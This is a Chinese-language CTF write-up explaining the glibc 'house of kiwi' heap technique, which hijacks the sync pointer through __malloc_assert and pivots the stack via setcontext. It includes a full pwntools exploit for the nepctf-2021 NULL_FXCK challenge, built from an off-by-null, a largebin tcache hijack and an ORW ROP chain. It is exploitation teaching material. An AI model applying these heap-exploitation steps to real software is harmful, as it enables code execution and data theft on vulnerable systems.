house of kiwi
前言:
house_of_kiwi 一般是通过触发__malloc_assert来刷新IO流,最后可以劫持程序流或者通过和setcontext来打配合来进行栈迁移来得到flag。
我们看看触发的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #if IS_IN (libc) #ifndef NDEBUG # define __assert_fail(assertion, file, line, function) \ __malloc_assert(assertion, file, line, function)
extern const char *__progname;
static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n", __progname, __progname[0] ? ": " : "", file, line, function ? function : "", function ? ": " : "", assertion); fflush (stderr); abort (); } #endif #endif
|
可以看见*__malloc_assert调用了__fxprintf
和fflush
,而这个函数调用后会调用_IO_file_jumps
中的sync
指针。*
*这个指针在_IO_file_jumps
偏移为0x60的位置,那么将这个指针进行劫持,就能达到我们想要的目的,如果题目禁用了execve的话,可以考虑通过setcontext来实现栈迁移*
*我们看一下这个这个函数*
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| text:0000000000053030 ; __unwind { .text:0000000000053030 endbr64 .text:0000000000053034 push rdi .text:0000000000053035 lea rsi, [rdi+128h] ; nset .text:000000000005303C xor edx, edx ; oset .text:000000000005303E mov edi, 2 ; how .text:0000000000053043 mov r10d, 8 ; sigsetsize .text:0000000000053049 mov eax, 0Eh .text:000000000005304E syscall ; LINUX - sys_rt_sigprocmask .text:0000000000053050 pop rdx .text:0000000000053051 cmp rax, 0FFFFFFFFFFFFF001h .text:0000000000053057 jnb loc_5317F .text:000000000005305D mov rcx, [rdx+0E0h] .text:0000000000053064 fldenv byte ptr [rcx] .text:0000000000053066 ldmxcsr dword ptr [rdx+1C0h] .text:000000000005306D mov rsp, [rdx+0A0h] .text:0000000000053074 mov rbx, [rdx+80h] .text:000000000005307B mov rbp, [rdx+78h] .text:000000000005307F mov r12, [rdx+48h] .text:0000000000053083 mov r13, [rdx+50h] .text:0000000000053087 mov r14, [rdx+58h] .text:000000000005308B mov r15, [rdx+60h] .text:000000000005308F test dword ptr fs:48h, 2 .text:000000000005309B jz loc_53156 .text:00000000000530A1 mov rsi, [rdx+3A8h] .text:00000000000530A8 mov rdi, rsi .text:00000000000530AB mov rcx, [rdx+3B0h] .text:00000000000530B2 cmp rcx, fs:78h .text:00000000000530BB jz short loc_530F5 .text:00000000000530BD .text:00000000000530BD loc_530BD: ; CODE XREF: setcontext+9E↓j .text:00000000000530BD mov rax, [rsi-8] .text:00000000000530C1 and rax, 0FFFFFFFFFFFFFFF8h .text:00000000000530C5 cmp rax, rsi .text:00000000000530C8 jz short loc_530D0 .text:00000000000530CA sub rsi, 8 .text:00000000000530CE jmp short loc_530BD .text:00000000000530D0 ; --------------------------------------------------------------------------- .text:00000000000530D0 .text:00000000000530D0 loc_530D0: ; CODE XREF: setcontext+98↑j .text:00000000000530D0 mov rax, 1 .text:00000000000530D7 incsspq rax .text:00000000000530DC rstorssp qword ptr [rsi-8] .text:00000000000530E1 saveprevssp .text:00000000000530E5 mov rax, [rdx+3B0h] .text:00000000000530EC mov fs:78h, rax .text:00000000000530F5 .text:00000000000530F5 loc_530F5: ; CODE XREF: setcontext+8B↑j .text:00000000000530F5 rdsspq rcx .text:00000000000530FA sub rcx, rdi .text:00000000000530FD jz short loc_5311C .text:00000000000530FF neg rcx .text:0000000000053102 shr rcx, 3 .text:0000000000053106 mov esi, 0FFh .text:000000000005310B .text:000000000005310B loc_5310B: ; CODE XREF: setcontext+EA↓j .text:000000000005310B cmp rcx, rsi .text:000000000005310E cmovb rsi, rcx .text:0000000000053112 incsspq rsi .text:0000000000053117 sub rcx, rsi .text:000000000005311A ja short loc_5310B .text:000000000005311C .text:000000000005311C loc_5311C: ; CODE XREF: setcontext+CD↑j .text:000000000005311C mov rsi, [rdx+70h] .text:0000000000053120 mov rdi, [rdx+68h] .text:0000000000053124 mov rcx, [rdx+98h] .text:000000000005312B mov r8, [rdx+28h] .text:000000000005312F mov r9, [rdx+30h] .text:0000000000053133 mov r10, [rdx+0A8h] .text:000000000005313A mov rdx, [rdx+88h] .text:0000000000053141 rdsspq rax .text:0000000000053146 cmp r10, [rax] .text:0000000000053149 mov eax, 0 .text:000000000005314E jnz short loc_53153 .text:0000000000053150 push r10 .text:0000000000053152 retn .text:0000000000053153 ; --------------------------------------------------------------------------- .text:0000000000053153 .text:0000000000053153 loc_53153: ; CODE XREF: setcontext+11E↑j .text:0000000000053153 jmp r10 .text:0000000000053156 ; --------------------------------------------------------------------------- .text:0000000000053156 .text:0000000000053156 loc_53156: ; CODE XREF: setcontext+6B↑j .text:0000000000053156 mov rcx, [rdx+0A8h] .text:000000000005315D push rcx .text:000000000005315E mov rsi, [rdx+70h] .text:0000000000053162 mov rdi, [rdx+68h] .text:0000000000053166 mov rcx, [rdx+98h] .text:000000000005316D mov r8, [rdx+28h] .text:0000000000053171 mov r9, [rdx+30h] .text:0000000000053175 mov rdx, [rdx+88h] .text:0000000000053175 ; } .text:000000000005317C ; __unwind { .text:000000000005317C xor eax, eax .text:000000000005317E retn
|
也就是说控制到rdx + 0xa0 和rdx + 0xa8的位置就可以实现栈迁移,那么就要搞清楚,调用这个指针的时候,rdx是什么,那么就需要调试一下
调用了fflush
这里sync指针已经被我修改变成了setcontext+61的地址
而此时的rdx是 IO_helper_jumps的地址
那么劫持到 IO_helper_jumps + 0xa0即可劫持程序流
小结:
想要达到house_of_kiwi需要至少两次任意地址改,修改sync指针,以及*IO_helper_jumps +0xa0和0xa8的位置,然后就可以劫持到程序流了,对于2.27以上堆题目来说可以通过劫持tcache bin 结构体来达到任意地址分配,进而达到目的。*
相比较其他的house_of系列kiwi要求的条件也比较苛刻,但是它的利用手法并不难,在能满足这个条件的情况下,这种手法还是非常不错的。
例题:nepctf-2021 NULL_FXCK
题目链接:题目
提取码:k5h6
ida逆向分析
add函数规定了申请chunk有大小的限制,最小0x100,最大0x2000
edit函数存在off_by_null漏洞,但是只能使用一次
show函数存在截断
free函数没有UAF漏洞
分析:只有一个off_by_null漏洞,只能使用一次,那么可以通过unlink实现堆块重叠,达到泄露地址的目的,但是本题libc是2.32的libc,还是存在_malloc_hook这些钩子,但是这些被ban掉了,而且开了沙箱保护,我们只能orw读取flag,那么就可以从上面house_of_kiwi下手。首先要做的是unlink,但是这样就需要伪造fd指针和bk指针,以前我们一般是将fd和bk指针指向自身来绕过unlink检查,但是现在我们不能泄露地址,也就是要在无法泄露地址的情况下完成unlink
那么我们可以申请6个堆块,free 0,3,5堆块,那么堆块3的fd和bk就已经确定了,此时想要达到堆块重叠,可以把chunk3的size改大(改到top_chunk这样下次在top_chunk申请堆块时候,free时候,会向上合并),怎么来呢,free掉chunk2,然后chunk2和chunk3会合并,然后申请堆块修改chunk3的size,那么此时,链表就被破坏了
free 0,3,5
chunk2和chunk3合并
chunk3size被修改,同时它的fd和bk指针已经设置好了
此时,剩下两个chunk加入到了largebin中,我们申请出来,但是怎么修改它们的fd和bk指针呢
注意看刚刚chunk3和chunk2合并之后剩下的chunk(称为left_chunk),它的地址只有最低位和chunk3不一样,而且chunk3的地址末位是0,这个是一开始布局的时候这样布置的,因为add有截断,我们可以通过free这个left_chunk和chunk0以前和chunk5来构成链子,最后通过add截断修改掉fd或者bk指针
这里以chunk0为例子,注意他的fd是chunk3+0x20的位置,那么如果截断一下就是chunk3了
同理chunk5也是一样,那么完成这个再伪造一下prev_size即可完成unlink,即可申请堆块达到堆块重叠,泄露地址,但是存在00截断,还需要加入到largebin中泄露libc地址以及heap地址
那么现在泄露地址的问题解决了,还需要实现任意地址写,那么这里涉及一个知识,我们知道管理tcachebin链表是一个结构体在heap起始处
其实这个在tls里面有一个指针指向它只是被映射成了这个地址,我们可以找一下
那么通过largebin 劫持这个地址即可劫持到tcachebin链表实现任意地址写,接下来就是house_of_kiwi,实现栈迁移,提前把orw链子写入到chunk里面
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
| from gt import *
con("amd64") libc = ELF("./libc-2.32.so")
io = process("./NULL_FXCK")
def add(size,msg='\x00'): io.sendlineafter(">> ",'1') io.sendlineafter("(: Size: ",str(size)) io.sendafter("(: Content: ",msg)
def edit(index,msg): io.sendlineafter(">> ",'2') io.sendlineafter("Index: ",str(index)) io.sendafter("Content: ",msg)
def free(index): io.sendlineafter(">> ",'3') io.sendlineafter("Index: ",str(index))
def show(index): io.sendlineafter(">> ",'4') io.sendlineafter("Index: ",str(index))
add(0x418) add(0x1f8) add(0x428) add(0x438) add(0x208) add(0x428) add(0x208)
free(0) free(3) free(5) gdb.attach(io) free(2) payload = b'a'*0x428 + p64(0xc91) add(0x440,payload)
add(0x418) add(0x418) add(0x428)
free(3) free(2)
add(0x418,'a'*9) add(0x418) free(3) free(5) add(0x9f8) add(0x428,'a') payload = b'a'*0x200 + p64(0xc90) + b'\x00' edit(6,payload)
add(0x418) add(0x208)
free(3) payload = p64(0) *3 + p64(0x421) add(0x430,payload) add(0x1600) show(4) libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x6a0 -libc.sym["__malloc_hook"] suc("libc_base",libc_base)
show(5) heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2b0 suc("heap_base",heap_base)
tls_truct = libc_base + 0x1eb578 suc("tls_truct",tls_truct) open = libc_base + libc.sym["open"] read = libc_base + libc.sym["read"] write = libc_base + libc.sym["write"] setcontext = libc_base + libc.sym["setcontext"] pop_rdi = libc_base + 0x000000000002858f pop_rsi = libc_base + 0x000000000002ac3f pop_rdx_r12 = libc_base + 0x0000000000114161 IO_file_jumps = libc_base + 0x1e54c0 IO_hleper_jumps = libc_base + 0x1e48c0 suc("IO_hleper_jumps",IO_hleper_jumps) ret = libc_base + 0x0000000000026699
payload = b'b'*0x208 + p64(0x431) + b'b'*0x428 + p64(0x211) + b'a'*0x208 + p64(0xa01) add(0x1240,payload)
free(0) flag_addr = heap_base + 0x8e0 + 0x100 orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open) orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(read) orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(write) orw = orw.ljust(0x100,b'a') orw += b'flag\x00\x00\x00\x00'
add(0x440,orw) add(0x418) add(0x208)
free(5) free(4)
payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350) payload += p64(tls_truct - 0x20)
add(0x1240,payload) free(11) add(0x500)
add(0x410) free(4) payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)*2 add(0x1240,payload)
fake_tcache = b'\x07\x00' * 0x35 fake_tcache = fake_tcache.ljust(0xe8,b'\x00') + p64(IO_file_jumps + 0x60) fake_tcache = fake_tcache.ljust(0x168,b'\x00') + p64(IO_hleper_jumps + 0xa0) fake_tcache += p64(heap_base + 0x46f0) add(0x420,fake_tcache) add(0x100,p64(setcontext+61)) add(0x200,p64(heap_base + 0x8e0)+p64(ret)) add(0x210,p64(0x999)) gdb.attach(io) add(0x1000)
io.interactive()
|
最后效果
The best way to predict the future is to create it.